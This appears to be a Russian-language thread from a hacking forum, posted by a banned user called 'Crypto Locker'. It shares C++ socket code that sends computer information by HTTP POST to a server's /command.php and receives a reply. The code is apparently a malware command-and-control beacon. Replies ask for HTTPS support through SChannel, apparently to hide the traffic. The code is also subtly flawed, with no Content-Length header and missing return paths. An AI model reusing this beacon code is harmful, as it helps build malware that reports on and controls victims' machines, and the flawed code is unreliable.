• XSS.stack #1 – первый литературный журнал от юзеров форума

С++ socket http post request

Crypto Locker

(L3) cache
Забанен
Регистрация
22.10.2019
Сообщения
177
Реакции
116
Пожалуйста, обратите внимание, что пользователь заблокирован
Код:
#include <windows.h>
#include "Network.h"
#include "Memory.h"
#define WEB_SERVER "google.com"

BOOL Network::IntializeNetwork() {
    WSADATA wsa;
    if (WSAStartup(MAKEWORD(2, 2), &wsa) == 0) return 1;
    return 0;
}

CHAR* Network::getCommand(LPCSTR computerInfo) {
    if (SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) {
        if (HOSTENT* he = gethostbyname(WEB_SERVER)) {
            struct sockaddr_in addr;
            memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length);
            addr.sin_family = AF_INET;
            addr.sin_port = htons(80);
            if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) != INVALID_SOCKET) {
                char* buffer = (char*)_alloc(65536);
                const char* request = "POST /command.php HTTP/1.1\r\n"
                    "Host: " WEB_SERVER "\r\n"
                    "User-Agent: ************ ***** ** * ***\r\n"
                    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\n"
                    "Accept-Encoding: gzip, deflate\r\n"
                    "Accept-Language: en-us;q=0.7,en;q=0.3\r\n"
                    "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"
                    "Connection: keep-alive\r\n\r\n";

                if (send(sock, request, lstrlenA(request), 0) > 0) {
                    if (send(sock, computerInfo, lstrlenA(computerInfo), 0) > 0) {
                        _memset(buffer, 0, 65536);
                        if (recv(sock, buffer, 65535, 0) > 0) {
                            goto end;
                        }
                    }
                }
            end:;
                closesocket(sock);
                return buffer;
            }
        }
    }
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
тс, выложи код с поддержкой хттпс. реализуй через шанель, или кастомную либу. полезно многим будет.
Да, тоже интересна эта тема.
Пробовал в openssl работать, сыпется с ошибкой "SSL_ERROR_SYSCALL"
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх